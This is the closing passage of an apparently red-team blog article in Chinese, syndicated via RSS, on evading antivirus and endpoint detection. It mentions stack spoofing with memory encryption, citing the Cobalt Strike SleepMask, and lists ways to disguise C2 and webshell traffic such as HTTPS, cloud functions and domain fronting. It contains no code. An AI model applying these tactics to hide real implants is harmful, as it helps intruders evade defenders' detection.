src="https://wechat2rss.xlab.app/img-proxy/?k=d193f43d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Ffz2w0o92Q2T7esBWe1vpZuK6oZq4NzXGicK3HlycCagksMkmdSHObnwtjBOibWLl1tjOeKkkacIt2n70Xibu1HYYg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/><br/></p><p><br/></p><p cid="n251" mdtype="paragraph"><span md-inline="tab" style=";">	</span><span md-inline="image" data-src="./堆栈欺骗2.png" style=";"></span></p><ul class="list-paddingleft-1" cid="n206" mdtype="list" data-mark="*" style=";"><li style=";"><p cid="n253" mdtype="paragraph"><span md-inline="plain" style=";">总结：</span></p><p cid="n254" mdtype="paragraph"><span md-inline="plain" style=";">堆栈欺骗+内存加密配合使用实战效果极佳，参考Cobalt Strike 4.7的SleepMask</span></p><p cid="n255" mdtype="paragraph"><br/></p></li></ul><h2 cid="n256" mdtype="heading"><span style="font-size: 24px;">0x04 Network traffic Evasion(网络流量规避)</span></h2><h3 cid="n257" mdtype="heading"><span md-inline="plain" style=";">一、检测机制</span></h3><ul class="list-paddingleft-1" cid="n258" mdtype="list" data-mark="*" style=";"><li style=";"><p cid="n260" mdtype="paragraph"><span md-inline="plain" style=";">威胁情报：IP、域名</span></p></li><li style=";"><p cid="n262" mdtype="paragraph"><span md-inline="plain" style=";">流量特征：固定通信流量特征</span></p></li></ul><p cid="n262" mdtype="paragraph"><span md-inline="plain" style=";"><br/></span></p><h3 cid="n263" mdtype="heading"><span md-inline="plain" style=";">二、规避技巧</span></h3><ul class="list-paddingleft-1" cid="n264" mdtype="list" data-mark="*" style=";"><li style=";"><p cid="n266" mdtype="paragraph"><span md-inline="plain" style=";">使用HTTPS</span></p></li><li style=";"><p cid="n268" mdtype="paragraph"><span md-inline="plain" style=";">云函数</span></p></li><li style=";"><p cid="n270" mdtype="paragraph"><span md-inline="plain" style=";">域前置</span></p></li><li style=";"><p cid="n272" mdtype="paragraph"><span md-inline="plain" style=";">更改C2、webshell等工具通信流量</span></p></li></ul><p cid="n273" mdtype="paragraph"><br/></p><h2 cid="n274" mdtype="heading"><span style="font-size: 24px;">0x05 总结</span></h2><p cid="n275" mdtype="paragraph"><span md-inline="plain" style=";">抛出沙龙上，交流提出的两个问题。</span></p><ul class="list-paddingleft-1" cid="n2599" mdtype="list" data-mark="*" style=";"><li style=";"><p cid="n2602" mdtype="paragraph"><span md-inline="plain" style=";">以后杀软的发展趋势会着重在哪些地方？</span></p></li><li style=";"><p cid="n2603" mdtype="paragraph"><span md-inline="plain" style=";">以后对抗难点会在哪些地方？</span></p></li></ul><p cid="n2603" mdtype="paragraph"><span md-inline="plain" style=";"></span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: var(--articleFontsize);letter-spacing: 0.034em;"></span></p><p cid="n2606" mdtype="paragraph"><span md-inline="plain" style=";">逃逸技术是和反病毒技术的长期对抗。欢迎各位师傅和笔者沟通交流！</span></p><p cid="n2610" mdtype="paragraph"><br/></p><p cid="n2612" mdtype="paragraph">最后公众号后台回复<span style="color: rgb(255, 0, 0);">终端对抗</span><span md-inline="plain" style=";">，获取作者联系方式哈。</span></p><p cid="n275" mdtype="paragraph"><br/></p><p cid="n276" mdtype="paragraph"><br/></p><p cid="n277" mdtype="paragraph"><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247483668">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=c6d933c1&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0MDM3NjcxMg%3D%3D%26mid%3D2247483668%26idx%3D1%26sn%3Dc310157df4f9f3e335f42200895df62d%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 07 Nov 2023 16:03:00 +0800</pubDate>
    </item>
  </channel>
</rss>